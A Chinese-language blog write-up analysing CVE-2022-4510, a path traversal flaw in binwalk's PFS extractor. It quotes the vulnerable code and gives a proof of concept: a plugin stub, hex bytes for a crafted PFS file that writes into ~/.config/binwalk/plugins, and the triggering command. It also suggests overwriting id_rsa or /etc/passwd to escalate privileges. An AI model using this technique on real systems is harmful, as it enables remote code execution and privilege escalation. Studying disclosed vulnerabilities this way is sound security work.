簡介
根據cve官方描述,從版本2.1.2到 2.3.3的binwalk中發現了一個路徑周遊漏洞。此漏洞允許遠端攻擊者在安裝受影響的binwalk機子上執行任意代碼
什麼是PFS檔案
PFS檔案是由PhotoFiltre Studio(圖像修飾程式)建立的選擇檔案。 它包含圖像編輯器的多邊形選擇工具使用的坐标,以便在給定坐标之間繪制線。 PFS檔案以純文字格式存儲。
PFS檔案格式
https://lekensteyn.nl/files/pfs/pfs.txt
分析源代碼
一個PFS提取器插件在2017年合并到了binwalk中,做了一下修改
def extractor(self, fname):
fname = os.path.abspath(fname)
out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))
try:
with PFS(fname) as fs: #讀取pfs檔案資料
data = open(fname, 'rb')
data = binwalk.core.common.BlockFile(fname, 'rb')
data.seek(fs.get_end_of_meta_data())
for entry in fs.entries():
outfile_path = os.path.join(out_dir, entry.fname)
if not outfile_path.startswith(out_dir):
binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
else:
self._create_dir_from_fname(outfile_path)
outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
outfile.write(data.read(entry.fsize))
outfile.close()
data.close()
except KeyboardInterrupt as e:
raise e
問題出現在os.path.join函數上,因為第11行的代碼沒有完全進行路徑解析,是以第12行的條件就永遠不會為真
通過制作一個路徑周遊的PFS檔案,我們可以強制binwalk在目錄之外寫入檔案
POC
使用者可以使用binwalk的 API 定義自己的插件,隻需要把插件放在$HOME/.config/binwalk/plugins/目錄下,之後運作binwalk時就會調用插件
惡意代碼:
import binwalk.core.plugin
class MaliciousExtractor(binwalk.core.plugin.Plugin):
def init(self):
print("baimao")
儲存後用winhex打開檔案
直接粘貼以下十六進制資料
5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000
将.py儲存為.pfs檔案,然後添加到壓縮包裡
當從使用者的主目錄中用binwalk提取檔案時,會在.config/binwalk/plugins加入一個插件,這個惡意插件随後會被 binwalk 加載和執行,進而導緻 RCE
cd ~
binwalk -M -e exp.zip
成功執行代碼
總結
今年1月31号才披露細節的cve,學習了一下,除了覆寫./.config/binwalk/plugins/malwalk.py檔案,我們還可以覆寫id.rsa或者/etc/passwd檔案來直接提權
參考文檔:
https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk